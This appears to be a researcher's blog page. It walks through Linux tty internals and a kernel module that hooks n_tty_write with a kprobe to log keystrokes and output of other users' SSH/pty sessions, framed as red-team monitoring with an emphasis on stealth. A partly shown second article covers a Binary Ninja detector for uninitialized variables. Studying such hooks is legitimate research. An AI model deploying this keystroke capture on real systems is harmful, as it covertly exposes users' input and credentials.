There is a very special and important structure when talking about ttys in linux kernel, which is the tty_struct structure. The tty_struct is where the tty’s state really lives and is effectively bound to a specific device instance. Every tty device has exactly one tty_struct; there is no tty without it. The real challenge, and the key to leveraging this in practice, is figuring out where these structures can be found and how they can be used to our advantage.

Now take a look into the struct tty_struct:

struct tty_struct {
    struct kref kref;
    int index;
    struct device *dev;
    struct tty_driver *driver;
    struct tty_port *port;
    const struct tty_operations *ops;
    struct tty_ldisc *ldisc;
    struct ld_semaphore ldisc_sem;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    struct ktermios termios, termios_locked;
    char name[64];
    unsigned long flags;
    int count;
    unsigned int receive_room;
    struct winsize winsize;
    struct {
        spinlock_t lock;
        bool stopped;
        bool tco_stopped;
    } flow;
    struct {
        struct pid *pgrp;
        struct pid *session;
        spinlock_t lock;
        unsigned char pktstatus;
        bool packet;
    } ctrl;
    bool hw_stopped;
    bool closing;
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;
    int write_cnt;
    u8 *write_buf;
    struct list_head tty_files;
    struct work_struct SAK_work;
};

There are a lot of properties that we could explore and talk about here. However, to keep the article short, I concentrated on:

• ldisc - a line discipline reference.

• ops - file operation callbacks.

• link - double cirtcular linked list with all driver’s tty_struct structures.

• driver - a reference to the driver of the current tty_struct.

I ended up focusing on pseudo-terminals, or ptys, because they sit at a particularly interesting crossroads in the tty subsystem. In a pty pair, data is written to the master side, and the tty core quietly forwards it to the matching slave, making the two ends behave exactly like a real terminal connection even though everything is happening in software.

At this stage, the goal was not to hook system calls across the entire system, but to follow the read and write paths of a single tty instance. By narrowing the scope to one pty session and working at the driver level, it becomes possible to observe a single connection in isolation. That approach is both more precise and far less noisy than intercepting syscalls globally.

Digging into the implementation also highlights how different ptys are from statically registered ttys. Ptys are created dynamically, on demand, which means the tty and ports fields in the tty_driver structure are never populated for them. Those fields only make sense for static devices, and seeing them as NULL in the pty case is a concrete reminder that ptys live and die entirely at runtime.

That’s what tty_operation struct looks like

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
	int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

My initial goal was straightforward, at least on paper: find the tty_operations structure of a specific pty through its tty_struct, replace the original function pointer with my own, and let everything else continue as normal. If you can get to that structure cleanly, the rest is just mechanics. The real problem turned out to be getting there in the first place.

The obvious approach was to start from what the kernel already exposes. I looked at the two-dimensional array behind the ttys field, tried walking global helpers like tty_driver_lookup_tty, poked at the pty driver lists, and even experimented with paths like tty_find_polling_driver. Each attempt ran into a different wall: missing context, internal assumptions, or structures that simply weren’t accessible in the way I needed. Pulling ttys from the current driver was also a dead end, since that only ever gives you the devices owned by that driver, effectively, you end up observing the ttys you created yourself.

On top of all that, there’s the reality that the kernel is a fragile and heavily shared environment, and the tty subsystem is used everywhere. Touching these structures safely means taking the right locks, and those locks are meant for internal kernel use only. You can get to them with enough effort, but every extra step adds complexity, risk, and noise.

// under tty_io.c:
DEFINE_MUTEX(tty_mutex);

I then started observing the driver struct.

struct tty_driver {
	struct kref kref;
	struct cdev **cdevs;
	struct module	*owner;
	const char	*driver_name;
	const char	*name;
	int	name_base;
	int	major;
	int	minor_start;
	unsigned int	num;
	enum tty_driver_type type;
	enum tty_driver_subtype subtype;
	struct ktermios init_termios;
	unsigned long	flags;
	struct proc_dir_entry *proc_entry;
	struct tty_driver *other;

	/*
	 * Pointer to the tty data structures
	 */
	struct tty_struct **ttys;
            ... SNIP ...

As you may observe, the tty_struct has a way to navigate all tty_structs.

By running a small tty driver, getting my own driver’s tty_struct and iterating over the linked list I was able to navigate that list. My goal was to find out all the other driver structures, and then having a hope that each structure would hold a tty_structs which would then hold the callback structures, pointing to the original functions. I would then be able to replace the callback functions with my own functions - therefore intercepting candidate ops functions. Since the tty_struct is directly linked to the process structure, then I could easily filter out specific processes. Therefore, sneaking only to the I/O of selected processes.

I accessed all the drivers but not specific devices, and no tty ops were available for any of the structures found (were null). My guess is that drivers also hold a tty_struct of their own (?)!

[ 3848.364475] Walking forward from tty_driver: ttty
[ 3848.364485] Next driver: ttyprintk (major: 5) (type: 2, subtype: 0)
[ 3848.364491] Next driver: ttyMAX (major: 204) (type: 3, subtype: 1)
[ 3848.364497] Next driver: ttyS (major: 4) (type: 3, subtype: 1)
[ 3848.364503] Next driver: pts (major: 136) (type: 4, subtype: 2)
[ 3848.364510] Next driver: ptm (major: 128) (type: 4, subtype: 1)
[ 3848.364516] Next driver: tty (major: 4) (type: 2, subtype: 0)
[ 3848.364522] Next driver: tty_mutex.wait_lock (major: 0) (type: 0, subtype: 0)

It is important to see the pts (pseudoterminal slave) and ptm (pseudoterminal master) to confirm their subtypes during runtime, subtype 1 and 2. So their drivers pts and ptm respond as should and hold the structures we would like to iterate. One hint is that their port (devices) could hold the device tty_struct structures. However, the ports were found to be null, means the devices are dynamically calculated and ports are used only when generating devices statically.

Even though monitoring tty ops at a glance seems like not a very stealthy method, however, is not noisy as a read or write syscall hook is.

By using the term “ops” or “tty_operations”, I refer to a special structure that is used and linked by various structures of the tty subsysytem which olds the callback functions of the actual drivier handling the input/output operations of every device.

Selecting a different (wrong) target

As I continued digging, I eventually came across a concrete instance of a tty_operations structure called master_pty_ops_bsd. That immediately stood out as a promising candidate, because this was no longer an abstract interface but a real, live operations table used by pty masters. Looking at it more closely, it exposed exactly the callbacks you would expect to matter in this context, including write and write_room. And, just as discussed earlier, there was no read callback in sight - a quiet confirmation that ptys follow the same push-based read model as the rest of the tty subsystem. At that point, the problem started to feel less theoretical and more tangible: there was finally something real to grab onto.

/*
 * The master side of a pty can do TIOCSPTLCK and thus
 * has pty_bsd_ioctl.
 */
static const struct tty_operations master_pty_ops_bsd = {
	.install = pty_install,
	.open = pty_open,
	.close = pty_close,
	.write = pty_write,
	.write_room = pty_write_room,
	.flush_buffer = pty_flush_buffer,
	.chars_in_buffer = pty_chars_in_buffer,
	.unthrottle = pty_unthrottle,
	.ioctl = pty_bsd_ioctl,
	.compat_ioctl = pty_bsd_compat_ioctl,
	.cleanup = pty_cleanup,
	.resize = pty_resize,
	.remove = pty_remove
};

static const struct tty_operations slave_pty_ops_bsd = {
	.install = pty_install,
	.open = pty_open,
	.close = pty_close,
	.write = pty_write,
	.write_room = pty_write_room,
	.flush_buffer = pty_flush_buffer,
	.chars_in_buffer = pty_chars_in_buffer,
	.unthrottle = pty_unthrottle,
	.set_termios = pty_set_termios,
	.cleanup = pty_cleanup,
	.resize = pty_resize,
	.start = pty_start,
	.stop = pty_stop,
	.remove = pty_remove
};

static const struct tty_operations pty_ops = {
    .open  = pty_open,
    .close = pty_close,
    .write = pty_write,
    ...
};

That optimism didn’t last very long. After tracing it further, I realized that these tty_operations structures live in the .rodata section, which means their contents are read-only and can’t be modified at runtime. At first, it looked like there might still be a way forward: the operations table appears to be associated with the tty_driver structure, so replacing the entire structure sounded like a possible workaround. But checking the pointers at runtime quickly killed that idea as well. For both pty_master and pty_slave, the operations pointer in the driver turns out to be NULL, because ptys don’t wire things up that way. With no writable operations table and no driver-level indirection to hijack, I was right back where I started — staring into the dark again.

According to tty_io.c:

void tty_set_operations(struct tty_driver *driver, const struct tty_operations *op)
{
      driver->ops = op;
};
EXPORT_SYMBOL(tty_set_operations);

According to a dynamic scan I performed:

[ 2938.111208] Next driver: pts (major: 136, minor_start: 0) (type: 4, subtype: 2) num: 1048576 [-]
[ 2938.111211] -> *ports = empty
[ 2938.111216] Next driver: ptm (major: 128, minor_start: 0) (type: 4, subtype: 1) num: 1048576 [-]

The symbol [-] indicates there is no tty ops structure registered. The symbol [O] would indicate that there is a registered tty_operations structure available. Therefore, as you may see, no luck here.

I then concentrated on the line discipline component. It seems the tty_operation structure of line discipline is not constant but only static.

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = “n_tty”,
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};

The line discipline is a middleware component, so it seems like a good fit. This structure seems to have good candidate functions which are used by the core component, therefore used by both master and slave.

This is confirmed that its in the data section (d) while the structure of pty driver is in rodata section (r):

cat /proc/kallsyms | grep n_tty_ops
ffffffff89a61d20 d n_tty_ops
... SNIP ...
ffffffff88932a80 r slave_pty_ops_bsd

Even though line discipline seemed like a good choice, I wanted to go just a bit deeper, explore how everything works and maybe I find a better hook-point.

Therefore, I started mapping how each function flows through the process of user write on the slave.

Finding the final path

By exploring each function in detail, I ended-up that the “n_tty_write” function is a good candidte to hook. Instead of replacing the function’s address, let’s hook the function itself.

Constructing a kernel module - Intercepting SSH Connections

For testing this I created a loadable kernel module. At the initialization phase of the driver I registered a probe to hook the function.

static struct kprobe kp = {
    .symbol_name = "n_tty_write",
};

static int __init kprobe_init(void)
{
    kp.pre_handler = handler_pre;

    if (register_kprobe(&kp) < 0) {
        pr_err("register_kprobe failed\n");
        return -1;
    }

    pr_info("Kprobe registered at %p\n", kp.addr);
    return 0;
}

Here I used Kprobes. Kprobes are a kernel mechanism that lets you dynamically attach handlers to almost any instruction in the kernel without modifying its source code or rebooting. They’re used to observe, debug, or instrument kernel behavior by intercepting execution at specific points, capturing state, or running custom logic when those points are hit. Because they work at runtime and leave no permanent changes behind, kprobes are especially useful for debugging, tracing, and research scenarios where rebuilding or patching the kernel would be too heavy or too visible. However, Kprobes are also misused :) They can also be used, to expose an internal function’s address where such function is not exported. In my driver, I just used Kprobes to hook the target function “n_tty_write” and monitor its arguments.

Kprobes != Stealthy

There are many approaches to instrumentation and function hooking. The Linux kernel itself provides a wide range of built-in mechanisms, and with enough creativity you can discover even more. For the purposes of this demonstration, however, I deliberately chose the simplest approach.

The downside is obvious: when using kprobes, the hooks are trivially discoverable. Even user-space (root) can enumerate what is being instrumented:

$ cat /sys/kernel/debug/kprobes/list

ffffffffa3bc42f0 k n_tty_write+0x0 [FTRACE]

From a stealth perspective, this is far from ideal. I promissed to provide a stealthy observation, which through my research, that is n_tty_write. However, a truly covert operation requires going beyond the Kprobe. I’ve shown you the hard part, now it’s your turn to take it further and keep the fiding stealthy.

As soon as we do that, we handle the internal structure in its handler as shown below:

static int handler_pre(struct kprobe *p, struct pt_regs *regs)
{
#if defined(__x86_64__)
    //  ssize_t n_tty_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr)  - drivers/tty/n_tty.c
    // RDI, RSI, RDX, RCX - System V AMD64 ABI calling convention for x86/64
    struct tty_struct *tty = (struct tty_struct *)regs->di;
    struct file *file = (struct file *)regs->si;
    const unsigned char *buf = (const unsigned char *)regs->dx;
    unsigned long count = (unsigned long)regs->cx;
    char buff[100];

    if (tty) {
      if (tty->driver) {
         struct tty_driver *driver = tty->driver;
         if (driver->driver_name && tty->index > 0) {
            pr_info("n_tty_write: %s [PID:%d][idx:%d] tty=%px, buf=%px, count=%lu\n", driver->driver_name, current->tgid, tty->index, tty, buf, count);
            strncpy(buff, buf, count < 99 ? count : 99);
            buff[count < 99 ? count : 99] = 0;
            pr_info("buff: %s\n", buff);
         }
      }
    } else return 0;

#endif
    return 0;
}

In order to get the parameters of the function we need to understand the calling convention and translate each register to a variable (since its x64 the arguments are not in the stack but on register per SysV ABI).

In my hook handler I deliberately chose to hook only terminals with an index greater than zero, effectively skipping the very first tty. That first tty is the one I use to interact with the system, and monitoring it would immediately create a feedback loop. As soon as I run a command like dmesg, the kernel output would be written to the tty, picked up by the hook, logged again, and then written back out, only to be captured once more. The result is an endless loop where kernel output turns into new input and back again, quickly overwhelming the system. By ignoring the first terminal and focusing on later sessions, I avoid that recursion entirely and can observe output cleanly without the observer becoming part of the data stream.

The kernel logs:

xusr@vb:~$ dmesg
... SNIP ...
[  897.122375] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.122384] buff: h
[  897.122635] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.122643] buff: h
[  897.361443] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.361459] buff: e
[  897.361819] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.361829] buff: e
[  897.546022] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.546030] buff: l
[  897.546300] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.546308] buff: l
[  897.680649] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.680658] buff: l
[  897.680934] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.680941] buff: l
[  897.850882] n_tty_write: pty_master [PID:1978][idx:1] tty=ffff8881cfc7b800, buf=ffff8881c8612800, count=1
[  897.850893] buff: o
[  897.851430] n_tty_write: pty_slave [PID:2036][idx:1] tty=ffff8881cfc7d000, buf=ffff8881af243400, count=1
[  897.851440] buff: o

During this test, I opened an SSH session and typed the word “hello,” and the driver picked it up immediately - twice. At first that looks odd, but once you zoom in on what’s happening, it makes perfect sense.

We can see that twice because of two reasons. The master writes data to the slave, and through that process, writing to its buffer to read, it passed via the n_tty_write. Also, when it reaches its final destination, the bash for example, outputs the character back (see the next paragraph about this). Hence you see the character twice.

Monitoring the output

If you stop and think about it, typing into a terminal is far less direct than it feels. When you press a key, the character doesn’t just appear on the screen because you typed it. It travels down into the kernel, is delivered to the process attached to the tty, and only shows up again if that process chooses to send something back. Before digging into this, I assumed the terminal simply echoed my input by default, but that’s not really what’s happening. What you type becomes input to the program, and if the program decides to write that input back, or produces its own output, those bytes make the return trip through the same path. That’s why, when you type ls and press Enter, you see both the command you typed and the output it generated: both are just data flowing through the tty, one going in and one coming back out.

Here on a terminal I click “ls” and hit enter. As you can see the output is also shown:

[  446.970091] n_tty_write: pty_master [PID:3987][idx:1] tty=ffff888130da8800, buf=ffff888132764000, count=1
[  446.970099] buff: l
[  446.970468] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=1
[  446.970476] buff: l
[  447.356251] n_tty_write: pty_master [PID:3987][idx:1] tty=ffff888130da8800, buf=ffff888132764000, count=1
[  447.356259] buff: s
[  447.356506] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=1
[  447.356513] buff: s
[  448.026210] n_tty_write: pty_master [PID:3987][idx:1] tty=ffff888130da8800, buf=ffff888132764000, count=1
[  448.026219] buff: 
[  448.026416] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=1
[  448.026433] buff: 

[  448.045416] n_tty_write: pty_slave [PID:4044][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=234
[  448.045426] buff: Desktop  Documents  Downloads  Drivers  example
[  448.047946] n_tty_write: pty_slave [PID:4023][idx:1] tty=ffff88812cb75000, buf=ffff888134228400, count=62

You can even access the process IDs involved, one corresponding to the terminal side and the other to the program running on the slave. That distinction turns out to be extremely useful, because it means we can filter activity per process ID and decide which side of the conversation we care about. From there, it’s a small step to forwarding this data to a user-space component, where it can be processed per session - logged, analyzed, or sent over the network. In a red team context, this opens the door to quiet session monitoring, and in our case it fits naturally into building a high-interaction honeypot.

What do you have in mind?

Contact Us

Schedule a Call

About Theodoros

LinkedIn

Theodoros Danos is a cybersecurity researcher and founder of Cybervelia, where he focuses on offensive security testing for web, mobile, and connected systems.

His work includes deep technical research into application security, reverse engineering, and system-level vulnerabilities, with a particular focus on Bluetooth Low Energy (BLE) security, covering low-level protocol behavior and practical attack scenarios.

He publishes technical research based on real-world assessment work, aimed at developers and security teams building and operating production systems.

They’re back!

Uninitialized local variables (ULVs) were once a common source of data leaks, crashes, and hard-to-explain bugs—ghosts of bad memory hygiene lurking in the stack. Today’s compilers are much better at catching them. But once binaries are stripped of metadata and debug info, those guarantees start to fade. So the question remains: are they really gone?

In stripped binaries, ULVs are no longer obvious—they’re buried under layers of optimization, inlined code, and restructured control flow. The compilers did their job. But for reverse engineers working without source, that same optimization turns variable tracking into a detective’s game: rebuilding the stack layout, tracing every read and write in intermediate representation, and cutting through the noise introduced by aggressive compiler behavior. Just a reminder - at least two uninitialized local variable (ULV) vulnerabilities were discovered in the Linux kernel last year (CVE-2024-42228, CVE-2024-42225).

This article presents a static analyzer based on Binary Ninja engine to take on that challenge. It walks through a complete ULV detection workflow—from recovering variables and analyzing how they’re used, to inferring sizes, tracking taints across functions, and filtering out misleading patterns. If an uninitialized read made it into your binary, this process will uncover it.

Introduction & Motivation

Stack-based uninitialized reads occur when a function reads from a local variable before any code assigns a value. In C/C++, this can expose residual stack contents—potential passwords, pointers, or other sensitive data—and lead to undefined behavior. While modern compilers insert some zeroing or warnings, many ULVs slip through in performance-critical code or legacy modules.

Static source analyzers can catch ULVs early, but in security research we often face only the compiled binary. Traditional disassembly and manual auditing are laborious and error-prone. My goal was to build an automated, accurate, and extensible Binary Ninja plugin that finds ULVs in stripped binaries with minimal human effort.

Finally, we chose Binary Ninja for its exceptionally powerful analysis engine, even if its user interface could be improved. Its Python-accessible intermediate representation with full SSA support greatly simplifies static analysis. At the same time, it keeps us close to the underlying assembly while allowing a higher-level perspective—and, by using the right IR, ensures our workflow remains ISA-agnostic (almost…).

Challenges in Binary-Only ULV Detection

Analyzing uninitialized local variables in a stripped binary comes with its own challenges. Since there's no extra information from the compiler, we don't know where variables start or how big they are. We have to figure out every stack variable just by looking at raw memory access patterns. Without type or symbol data, the only way to find variable boundaries is to study how memory is read from and written to. Small mistakes in this process can lead to missed bugs or confusing warnings.

Things added by the compiler make it even harder to understand what the code is really doing. For example, saved frame pointers, return addresses, padding for alignment, and situations where the compiler splits a single variable into multiple pieces on the stack can all look like real variables when they’re not. We also have to deal with complex control flow, where a variable might be initialized in one code path but not another. If we just scan the code in order, we might miss cases where a variable is used before it’s initialized, or we might wrongly report an error when all paths actually set the variable.

To make things even harder, variables are often initialized in helper functions that are called indirectly through pointers. This means that a write to a variable in one function might actually happen inside another function. If the analysis only looks at a single function, it might wrongly flag these safe pointer-based writes as problems.

Also, in large binaries, a lot of code either never runs or runs very rarely—like dead code or rarely-used error handlers. These parts can cause warnings that don’t matter for real-world use.

All of this means we need a broader kind of analysis that looks across functions. It has to be able to guess variable types and sizes without metadata, ignore extra data added by the compiler, and match what the code looks like with how it actually behaves when running.

A Binary Ninja–Powered ULV Detection Static Analysis

Having outlined the myriad challenges inherent in discovering uninitialized stack variables purely from binary code, we now turn to the heart of our solution: a script that automates this analysis. Leveraging Binary Ninja’s powerful Intermediate Language (IL) APIs, this plugin systematically reconstructs local variables, infers their sizes, tracks read‐before‐write occurrences, and propagates data flows across function boundaries. Keep in mind that this plugin is developed 4 years ago and this is a write-up for such an old plugin. The plugin works great, however, it needs the old version of BN which is 2.4.28x. After this version, vector35 changed their API engine from ground-up and I didn’t have time to keep-up and upgrade the implementation of this project. Nevertheless, even though the analyzer was written long ago, is still used today in our company and still can find vulnerabilities in modern binaries, while the logic does not rely on any modern libraries (the work done is static).

Over the next sections, we will explore in depth how the plugin works:

1. Discovers and filters stack locals using Binary Ninja’s stack_layout and configurable blacklists;

2. Performs read‐before‐write analysis by scanning MLIL instructions to accurately distinguish reads and writes;

3. Infers sizes for unknown‐width variables via a neighbor‐offset heuristic;

4. Reconstructs inter-procedural coverage with a proximity‐based taint propagation across caller–callee relationships;

5. Prunes false positives through sibling‐variable deduplication, pointer‐initiated initialization detection, and skips of specific-imported or dynamically called routines;

6. Enriches results by importing IDA Pro symbols for human-friendly names and filtering findings with a lightweight PIN trace to focus on actually executed code paths.

By the end of this discussion, you will see how each of these building blocks fits together into a coherent, end-to-end workflow—transforming a stripped binary into a prioritized list of genuine ULV warnings, ready for security review.

1. Discovering and Filtering Stack Locals

The very first challenge in binary‐only ULV detection is to reconstruct each function’s local variables purely from its stack frame, then immediately prune out any slots that cannot represent genuine user data. Our plugin addresses this in two sub-steps: enumeration via Binary Ninja’s stack_layout, and early filtering using blacklists and configurable flags.

Enumerating Stack Variables

Binary Ninja exposes each function’s local and argument slots through the Function.stack_layout property. Each entry describes a variable’s source type, name, storage offset (relative to the frame pointer), and any type information that the decompiler could recover. In our implementation, we iterate over every function in the binary view, skipping well‐known boilerplate functions (e.g., _init, __libc_csu_init) via a small functions_blacklist_names list:

functions_blacklist_names = ["__libc_csu_init", "_init", "_fini", "_start"]
allvars = {}

for func in bv.functions:
    if func.name in functions_blacklist_names:
        continue
    allvars[func.name] = {}
    for var in func.stack_layout:
        # ... candidate for further filtering ...

At this stage, func.stack_layout may contain entries for saved registers (e.g. __saved_rbp), return addresses, padding, or true locals. We capture each one but delay committing it until after filtering.

Blacklisting Compiler-Generated Slots

Many of the stack_layout entries are artifacts of the ABI or compiler: saved frame pointers, return addresses, preserved callee-saved registers, and so on. To exclude these, we maintain a variable blacklist of names that Binary Ninja commonly assigns to such slots:

variable_blacklist_names = [
    "__saved_rbp", "__return_addr",
    "__saved_rbx", "__saved_r12"
]

When populating our allvars structure, any Variable whose name matches an entry in this list is skipped:

if var.name in variable_blacklist_names:
    continue

This ensures we only consider slots that are more likely to hold program data rather than ABI bookkeeping.

Skipping Void and Zero-Size Slots

Even after name-based blacklisting, some locals have no meaningful width or type. Binary Ninja may tag them as void (unknown type) or assign a width of zero when it cannot infer any size. Since a void or zero-width slot cannot yield a usable read or write, we optionally skip them via two flags:

skip_void_vars      = False  # can be set to True to omit void-typed slots
skip_zero_size_vars = False  # can be set to True to omit zero-width slots

# inside the var loop:
if skip_void_vars and var.type.type_class == TypeClass.VoidTypeClass:
    continue

if skip_zero_size_vars and var.type.width == 0:
    continue

By default we leave these flags off (to maximize coverage), but they can be turned on for noise reduction in very large binaries.

Excluding Function Arguments on the Stack

Depending on calling convention, some function parameters may also appear in stack_layout. Since our focus is on automatic locals (and not on uninitialized caller-provided arguments), we exclude any variable whose storage is positive (i.e., above the frame pointer):

if var.storage > 0:
    # var.storage > 0 typically indicates a pushed‐in argument
    continue

Normalizing Offsets and Recording Initial State

For each surviving local, we record its normalized offset (var.storage + 8) to align with the prologue’s adjustment, its size (or zero if unknown), and an initial assigned state of 0 (meaning “unvisited”):

allvars[func.name][var.name] = {
    "func_obj":    func,
    "func_address":func.start,
    "type":        var.type,
    "storagetype": var.source_type,
    "offset":      var.storage + 8,
    "size":        var.type.width,
    "assigned":    0
}

That assigned field will later transition to 1 (read), 2 (written), or 3 (filtered false positive).

By the end of this discovery and filtering stage, allvars contains only the stack locals that could represent vulnerable uninitialized reads—each annotated with offset and size data. This concise set of candidates allows all subsequent analyses (read-before-write detection, size inference, taint propagation, and false-positive pruning) to focus exclusively on meaningful program data rather than compiler noise.

2. Read-Before-Write Analysis

Once we have a concise list of candidate locals in each function, the next step is to determine which of those are ever read before being written. A true uninitialized‐use occurs when an instruction consumes a variable’s value without any prior assignment. To detect this, the plugin leverages Binary Ninja’s Medium-Level IL (MLIL), which maps raw memory operations into explicit variable reads and writes, greatly simplifying the analysis.

MLIL and SSA Variables

In MLIL, each stack access such as [rbp - 0x20] is represented as a Variable (e.g. var_20) and, in SSA form, each assignment produces a fresh version (var_20#1, var_20#2, etc.). A use of the initial version (before any MLIL_SET_VAR) is a clear marker of reading an uninitialized value. By iterating through every func.mlil_instructions, we can inspect two key properties of each MLIL instruction:

• instr.vars_read: the list of variables whose current version appears on the right-hand side (a read).

• instr.vars_written: the list of variables that are assigned by this instruction (a write).

Assignment State Tracking

We track three states in each local’s assigned field:

• 0 — unvisited (no read or write seen yet)

• 1 — read-only (a read occurred before any write)

• 2 — written (at least one write has occurred)

The core loop looks like this:

# Initialize all locals to “unvisited”
for func in allvars:
    for v in allvars[func].values():
        v["assigned"] = 0

# Scan MLIL instructions for reads and writes
for func in bv.functions:
    if func.name not in allvars:
        continue

    for instr in func.mlil_instructions:
        # Mark reads that occur before any write
        for vr in instr.vars_read:
            entry = allvars[func.name].get(vr.name)
            if entry and entry["assigned"] == 0:
                entry["assigned"] = 1

        # Mark any writes (these clear a previous “read-only” state)
        for vw in instr.vars_written:
            entry = allvars[func.name].get(vw.name)
            if entry:
                entry["assigned"] = 2

• As soon as a variable is read with assigned == 0, it transitions to 1, flagging a potential ULV.

• If a write is seen at any point, we set assigned = 2, indicating the variable has been initialized.

Identifying ULV Candidates

After this pass, any local with assigned == 1 represents a stack variable that was read before any write in that function. These are our initial ULV candidates. Variables with assigned == 0 were never used and are ignored, while those with assigned == 2 were always written before use.

By using MLIL’s explicit variable tracking rather than raw disassembly, this approach accurately captures read-before-write behavior—even in the presence of compiler optimizations such as reordering of memory operations or introduction of temporary variables. In the next section, we will see how unknown sizes are inferred for zero-width locals, enabling us to distinguish partial from full initialization.

3. Inferring Sizes for Unknown-Width Variables

In practice, Binary Ninja often labels stack slots with zero width when it cannot recover a concrete type or size—particularly for anonymous arrays or structs that lack debug metadata. Without knowing a variable’s true length, we cannot distinguish a fully uninitialized buffer from a partially initialized one. To address this, the plugin implements a neighbor-offset heuristic in the “predictSize” function, inferring a plausible size for any zero-width local by examining its surrounding stack layout.

When Size Inference Kicks In

During initial discovery (see Section 1), each local’s size is set to var.type.width. If that width is zero and the flags fix_zero_size_vuln_var is enabled while skip_zero_size_vars is disabled, the plugin calls predictSize to compute a nonzero length:

elif skip_zero_size_vars == False and fix_zero_size_vuln_var and var.type.width == 0:
    var_size = predictSize(var, func.stack_layout)

This ensures that every local we analyze has a meaningful “size” associated with its stack offset.

Rationale and Effectiveness

Most compilers allocate locals contiguously in the prologue, reserving one block of stack space for all variables. By measuring the distance to the next allocated slot, we obtain a conservative upper bound on the buffer’s length without needing symbolic execution or partial SSA reconstruction. This inferred size is critical when later determining whether a given function’s writes fully cover the buffer or leave trailing bytes uninitialized.

With every local now annotated with either its original width or an inferred size, the plugin can accurately distinguish:

• Full Cover: All bytes in [offset, offset+size) are written before any read.

• Partial Cover: Only a prefix of the buffer is written, leaving some bytes uninitialized.

This size inference lays the groundwork for precise interprocedural coverage analysis in the next stage.

4. Reconstructing Interprocedural Coverage & Taint Propagation

A key insight in uncovering real ULVs is that uninitialized data often traverses multiple functions before it is ultimately consumed. To expose these propagation chains, the plugin correlates the point of uninitialized read in one function (“Affected”) with potential initializer calls in its callers (“Middle” and “Parent”). This interprocedural analysis proceeds in two phases: identifying cross-references between functions, and then determining which callee writes cover the target stack offset most closely before the uninitialized read.

Gathering Call-Site References

First, for each function func that contains a ULV candidate var, we locate:

• All callers of func via bv.get_callers(func.start).

• All xrefs (cross-references) within each caller where func is invoked, using:

def getFunctionReferencedAddresses(func, parent_func):
	total_refs = list()
	func_xrefs = bv.get_callers(func.start)
	for f_xref in func_xrefs:
		if f_xref.function.name == parent_func.name:
			total_refs.append({"xref":f_xref, "index":parent_func.get_llil_at(f_xref.address).instr_index})
	return total_refs

